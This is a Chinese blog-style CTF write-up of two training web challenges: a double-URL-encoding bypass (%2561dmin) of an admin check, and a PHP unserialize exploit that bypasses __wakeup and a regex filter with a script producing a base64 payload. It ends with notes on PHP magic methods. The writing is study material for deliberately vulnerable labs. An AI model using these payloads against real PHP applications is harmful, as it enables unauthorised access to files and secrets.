miniL被虐了QAQ太菜惹555 有精通php反序列化,sql注入的旁友可以暗搓搓交换下思路 不管怎样还是思考了很多东西的,虽然没有完全做出来吧,结合wp(鬼知道有木有呢)也得总结下
不过XX比赛对本阶段的蒟蒻来说都无所谓 之后的学习就是刷关啦
包括攻防世界…之类的,sqli-lab,upload,xss之类的 总结一下dvwa之类的 菜不菜无所谓了,就是不要放弃~~!!!
PHP2
(攻防世界)
Can you anthenticate to this website?
其他什么都没有
index.phps源码泄露(记在小本本上,Phps是php的源码) 好脑洞
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
分析一下:传入的id不能为admin
同时传入的id经过url解码后==admin
实际上这个过程经过了2次url的解码(浏览器一次,decode一次)
利用浏览器编码和URLdecode结合利用的二次编码注入绕过,payload构造为%2561dmin,浏览器会先把非ASCII码字符%25进行编码变成%,然后urldecode将%61编码为a,最后形成了admin绕过
Web_php_unserialize
前面那道反序列化还挺简单的→_→这两天miniL被这个类型的这个吊锤了
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
wakeup绕过 改变属性的数量 就是只需要令序列化字符串中标识变量数量的值大于实际变量即可绕过
正则表达式绕过:使用+可以绕过preg_match() 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过。(这个方式适用于PHP < 5.6.25 和 PHP< 7.0.10。)
正则绕过4 —> +4
手动构造了一个 O:+4:“Demo”:2:{s:10:"/00Demo/00file";s:8:“fl4g.php”;}
啊不行= =
然后我看下面评论区大佬的解决方法
O:+4:"Demo":2:{s:10:"Demo·file";s:8:"fl4g.php";}
中间加了·号,不知道什么原理。。。
另解就是脚本
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
echo '<br/>';
$b=str_replace(':1:',':2:',$b);
$b=str_replace(':4:',':+4:',$b);
echo $b;
echo '</br>';
$c=base64_encode($b);
echo $c;
//输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
记录一些知识点
private,protected修饰
魔术方法
__construct():当一个类被创建时自动调用
__destruct():当一个类被销毁时自动调用
__invoke():当把一个类当作函数使用时自动调用
__tostring():当把一个类当作字符串使用时自动调用
__wakeup():当调用unserialize()函数时自动调用
__sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用
__wakeup() 比__destruct() 提前执行